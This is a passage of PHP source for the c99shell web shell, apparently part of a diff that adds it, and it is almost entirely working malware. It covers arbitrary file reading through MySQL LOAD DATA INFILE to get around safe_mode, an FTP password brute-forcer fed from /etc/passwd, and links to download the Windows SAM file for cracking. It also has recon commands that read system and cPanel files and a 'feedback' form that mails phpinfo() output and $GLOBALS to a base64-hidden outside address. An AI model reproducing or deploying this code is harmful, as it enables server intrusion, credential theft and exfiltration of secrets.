href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>»</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));} + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = false;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if 